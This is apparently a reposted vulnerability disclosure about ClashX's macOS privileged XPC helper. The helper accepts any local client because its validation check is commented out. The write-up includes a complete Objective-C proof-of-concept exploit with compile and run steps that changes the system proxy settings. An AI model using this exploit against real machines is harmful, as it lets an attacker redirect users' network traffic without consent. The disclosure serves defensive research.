This article was first published on the tttang Community.

What is XPC?

In ClashX

ClashX has a PrivilegedHelperTool XPC service: com.west2online.ClashX.ProxyConfigHelper.

In the ProxyConfigHelper.m file, the process lacks client authentication during connection, enabling customization of the connection process:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
//    if (![self connectionIsVaild:newConnection]) {
//        return NO;
//    }
    newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProxyConfigRemoteProcessProtocol)];
    newConnection.exportedObject = self;
    __weak NSXPCConnection *weakConnection = newConnection;
    __weak ProxyConfigHelper *weakSelf = self;
    newConnection.invalidationHandler = ^{
        [weakSelf.connections removeObject:weakConnection];
        if (weakSelf.connections.count == 0) {
            weakSelf.shouldQuit = YES;
        }
    };
    [self.connections addObject:newConnection];
    [newConnection resume];
    return YES;
}

From ProxyConfigRemoteProcessProtocol.h, we can see the XPC service provides the following methods:

@import Foundation;

typedef void(^stringReplyBlock)(NSString *);
typedef void(^boolReplyBlock)(BOOL);
typedef void(^dictReplyBlock)(NSDictionary *);

@protocol ProxyConfigRemoteProcessProtocol <NSObject>
@required

- (void)getVersion:(stringReplyBlock)reply;

- (void)enableProxyWithPort:(int)port
                  socksPort:(int)socksPort
                        pac:(NSString *)pac
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *>*)ignoreList
                      error:(stringReplyBlock)reply;

- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
                                  reply:(stringReplyBlock)reply;

- (void)restoreProxyWithCurrentPort:(int)port
                          socksPort:(int)socksPort
                               info:(NSDictionary *)dict
                    filterInterface:(BOOL)filterInterface
                              error:(stringReplyBlock)reply;

- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end

Examining enableProxyWithPort

The function iterates through network devices to configure proxy settings:

- (void)enableProxyWithport:(int)port socksPort:(int)socksPort
                     pacUrl:(NSString *)pacUrl
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *>*)ignoreList {

    [self applySCNetworkSettingWithRef:^(SCPreferencesRef ref) {
        [ProxySettingTool getDiviceListWithPrefRef:ref filterInterface:filterInterface devices:^(NSString *key, NSDictionary *dict) {
            [self enableProxySettings:ref interface:key port:port socksPort:socksPort ignoreList:ignoreList pac:pacUrl];
        }];
    }];
}
...
+ (void)getDiviceListWithPrefRef:(SCPreferencesRef)ref
                 filterInterface:(BOOL)filterInterface
                         devices:(void(^)(NSString *, NSDictionary *))callback {
    NSDictionary *sets = (__bridge NSDictionary *)SCPreferencesGetValue(ref, kSCPrefNetworkServices);
    for (NSString *key in [sets allKeys]) {
        NSMutableDictionary *dict = [sets objectForKey:key];
        NSString *hardware = [dict valueForKeyPath:@"Interface.Hardware"];
        if (!filterInterface || [hardware isEqualToString:@"AirPort"]
            || [hardware isEqualToString:@"Wi-Fi"]
            || [hardware isEqualToString:@"Ethernet"]
            ) {
            callback(key,dict);
        }
    }
}
...

- (NSDictionary *)getProxySetting:(BOOL)enable port:(int) port
                        socksPort: (int)socksPort pac:(NSString *)pac
                       ignoreList:(NSArray<NSString *>*)ignoreList {
    
    NSMutableDictionary *proxySettings = [NSMutableDictionary dictionary];
    
    NSString *ip = enable ? @"127.0.0.1" : @"";
    NSInteger enableInt = enable ? 1 : 0;
    NSInteger enablePac = [pac length] > 0;

In the getProxySetting function, the line NSString *ip = enable ? @"127.0.0.1" : @""; restricts the IP to 127.0.0.1. However, this does not prevent malicious local addresses from being set as system proxies.

Proof of Concept

  1. Write poc.m:

    #import <Foundation/Foundation.h>
    
    static NSString *XPCHelperMachServiceName =
        @"com.west2online.ClashX.ProxyConfigHelper";
    
    typedef void (^stringReplyBlock)(NSString *);
    typedef void (^boolReplyBlock)(BOOL);
    typedef void (^dictReplyBlock)(NSDictionary *);
    
    @protocol HelperToolProtocol <NSObject>
    @required
    - (void)getVersion:(stringReplyBlock)reply;
    - (void)enableProxyWithPort:(int)port
                      socksPort:(int)socksPort
                            pac:(NSString *)pac
                filterInterface:(BOOL)filterInterface
                     ignoreList:(NSArray<NSString *> *)ignoreList
                          error:(stringReplyBlock)reply;
    - (void)disableProxyWithFilterInterface:(BOOL)filterInterface
                                      reply:(stringReplyBlock)reply;
    - (void)restoreProxyWithCurrentPort:(int)port
                              socksPort:(int)socksPort
                                   info:(NSDictionary *)dict
                        filterInterface:(BOOL)filterInterface
                                  error:(stringReplyBlock)reply;
    - (void)getCurrentProxySetting:(dictReplyBlock)reply;
    @end
    
    int main(void) {
      OSStatus err;
      NSString *service_name = XPCHelperMachServiceName;
      NSXPCConnection *connection =
          [[NSXPCConnection alloc] initWithMachServiceName:service_name
                                                   options:0x1000];
      NSXPCInterface *interface =
          [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
      [connection setRemoteObjectInterface:interface];
      [connection resume];
    
      id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
        NSLog(@"[-] Error: %@", error);
      }];
    
      NSLog(@"[+] obj: %@ conn: %@", obj, connection);
    
      [obj enableProxyWithPort:3333
                      socksPort:7777
                            pac:NULL
                filterInterface:YES
                     ignoreList:NULL
                          error:^(NSString *error) {
                            NSLog(@"Error: %@", error);
                          }];
      NSLog(@"[+] Done");
    }
  2. Compile poc.m:

    $ clang -framework Foundation poc.m -o poc
  3. Execute:

    ./poc                                                       
    2023-05-26 13:34:45.313 poc[13498:214914] [+] obj: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x15c0044f0> conn: <NSXPCConnection: 0x15b60c4d0> connection to service named com.west2online.ClashX.ProxyConfigHelper
    2023-05-26 13:34:45.313 poc[13498:214914] [+] Done

System proxy settings are successfully modified, as verified:

Proxy Settings Updated

References